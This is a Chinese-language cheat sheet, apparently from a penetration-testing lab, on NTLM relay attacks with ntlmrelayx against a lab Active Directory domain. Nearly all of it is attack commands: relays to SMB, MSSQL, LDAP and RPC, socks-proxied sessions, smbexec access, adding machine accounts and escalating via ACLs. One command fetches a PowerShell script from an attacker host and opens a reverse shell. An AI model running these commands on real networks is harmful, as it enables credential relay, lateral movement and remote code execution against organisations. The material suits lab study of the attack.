ntlmrelayx

1. 基本使用

 26-tools/ntlmrelayx 提供了 -t 和 -tf 选项用于指定中继目标;
- -t 指定单个中继目标,而 -tf 则指定包含多个中继目标的文件。
- 如果省略 -t / -tf , ntlmrelayx 会将 NTLM 身份验证中继回发起主机,
- 这种攻击称为 NTLM self-relay 攻击(已修复,但在一些老机器上还会存在此问题)。 
- -smb2support 选项为需要的主机提供 SMBv2 支持:

1.1. 执行命令(反向shell)

ntlmrelayx.py -tf relayTargets.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://172.16.117.30:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.117.30 -Port 7331"

1.2. 多重中继

# 仅中继第一个收到的 NTLM 身份验证连接(1:1 关系)
ntlmrelayx.py -t smb://172.16.117.50

# 中继所有属于特定用户 PETER 的连接(M:M 关系)
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50

# 使用 -tf 选项,即使是通用目标也会中继所有收到的连接(M:M 关系)
ntlmrelayx.py -tf relayTarget.txt

# 针对特定用户但仅滥用其第一个成功捕获的连接
ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50 --no-multirelay

1.3. socks代理

ntlmrelayx.py -tf relayTargets.txt -smb2support -socks


ntlmrelayx> socks

Protocol  Target         Username              AdminStatus  Port 
--------  -------------  --------------------  -----------  ----
SMB       172.16.117.50  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.50  INLANEFREIGHT/PETER   TRUE         445  SMB       172.16.117.50  INLANEFREIGHT/NPORTS  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/RMONTY  FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/PETER   FALSE        445  
SMB       172.16.117.60  INLANEFREIGHT/NPORTS  FALSE        445


proxychains4 -q smbexec.py INLANEFREIGHT/PETER@172.16.117.50 -no-pass

1.4. 交互式shell

ntlmrelayx.py -tf relayTargets.txt -smb2support -i

2. 跨协议中继

2.1. MSSQL

ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks

proxychains -q mssqlclient.py INLANEFREIGHT/nports@172.16.117.60 -windows-auth -no-pass

#直接执行命令
ntlmrelayx.py -t mssql://INLANEFREIGHT\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"

2.2. LDAP

#ldap dump
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump

#添加计算机账户,需要bypass 会话签名
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'

#滥用ACL
ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug

2.3. HTTP

  • AD CS(活动目录证书服务)Web 注册端点请求证书
  • 滥用ADFS(活动目录联合服务)登录端点
  • 使用 NTLMRecon 自动对启用了 NTLM 的 Web 端点进行模糊测试

2.4. RPC

可用于 NTLM 中继的 RPC 协议非常有限,典型的有MS-TSCH(计划任务)MS-ICPR(证书申请)

例如,利用 ntlmrelayx 向 TSCH 协议中继 NTLM 认证,可以直接获取 Microsoft Exchange 服务器的远程命令执行权限

2.5. ALL

sed -i '4,18s/= On/= Off/g' Responder.conf
ntlmrelayx.py -tf relayTargets.txt -smb2support -socks
然后会发现建立了特别多的会话
ntlmrelayx> socks

3. 与Responder的冲突

因为26-tools/ntlmrelayxResponder存在一些端口协议冲突,且我们这里需要26-tools/ntlmrelayx帮我们中继SMB和HTTP到目标服务器上,所以我们需要先修改一下Responder的配置文件,把SMBHTTP改成Off,确保Responder就不会监听它导致端口冲突

vim /usr/share/responder/Responder.conf  

Pasted image 20260310223114.png

中继其他协议就关闭其他的协议